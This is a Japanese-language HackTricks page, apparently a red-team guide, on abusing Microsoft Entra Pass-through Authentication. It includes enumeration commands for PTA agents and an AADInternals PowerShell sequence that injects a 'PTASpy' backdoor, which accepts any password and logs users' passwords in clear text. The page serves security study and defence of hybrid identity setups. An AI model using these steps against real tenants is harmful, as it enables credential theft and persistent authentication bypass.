Az - PTA - Pass-through Authentication
Reading time: 7 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
From the docs: Microsoft Entra パススルー認証を使用すると、ユーザーはオンプレミスおよびクラウドベースのアプリケーションに同じパスワードでサインインできます。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーが Microsoft Entra ID を使用してサインインすると、この機能はユーザーのパスワードをオンプレミスの Active Directory に対して直接検証します。
PTA では、アイデンティティは同期されますが、パスワードは PHS のようには同期されません。
認証はオンプレミスの AD で検証され、クラウドとの通信はオンプレミスサーバーで実行される認証エージェントによって行われます(オンプレミスの DC にある必要はありません)。
認証フロー
.png)
- ログインするために、ユーザーはAzure ADにリダイレクトされ、ユーザー名とパスワードを送信します。
- 資格情報は暗号化され、Azure AD のキューに設定されます。
- オンプレミス認証エージェントがキューから資格情報を収集し、それを復号化します。このエージェントは**「パススルー認証エージェント」またはPTAエージェント**と呼ばれます。
- エージェントはオンプレミスADに対して資格情報を検証し、応答をAzure ADに返します。応答が肯定的であれば、ユーザーのログインを完了します。
warning
攻撃者がPTAを侵害すると、キュー内のすべての資格情報(平文)を見ることができます。
また、AzureAD に対して任意の資格情報を検証することもできます(スケルトンキーに似た攻撃)。
列挙
From Entra ID:
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
オンプレミスサーバーでエージェントが実行されているか確認します:
Get-Service -Name "AzureADConnectAuthenticationAgent"
ピボティング
PTA エージェントが実行されているAzure AD Connect サーバーに管理者アクセスがある場合、AADInternalsモジュールを使用して、すべてのパスワードを検証するバックドアを挿入することができます(すべてのパスワードが認証に対して有効になります):
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
note
インストールが失敗した場合、これはおそらくMicrosoft Visual C++ 2015 Redistributablesが不足しているためです。
このバックドアは以下を行います:
- 隠しフォルダー
C:\PTASpy
を作成します PTASpy.dll
をC:\PTASpy
にコピーしますPTASpy.dll
をAzureADConnectAuthenticationAgentService
プロセスに注入します
note
AzureADConnectAuthenticationAgent サービスが再起動されると、PTASpy は「アンロード」され、再インストールする必要があります。
caution
クラウドでGA権限を取得した後、新しいPTAエージェントを登録することが可能で、以前の手順を繰り返して任意のパスワードを使用して認証し、さらにパスワードを平文で取得することができます。
シームレスSSO
PTAを使用してシームレスSSOを利用することが可能ですが、他の悪用に対して脆弱です。詳細は以下を確認してください:
参考文献
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta
- https://aadinternals.com/post/on-prem_admin/#pass-through-authentication
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。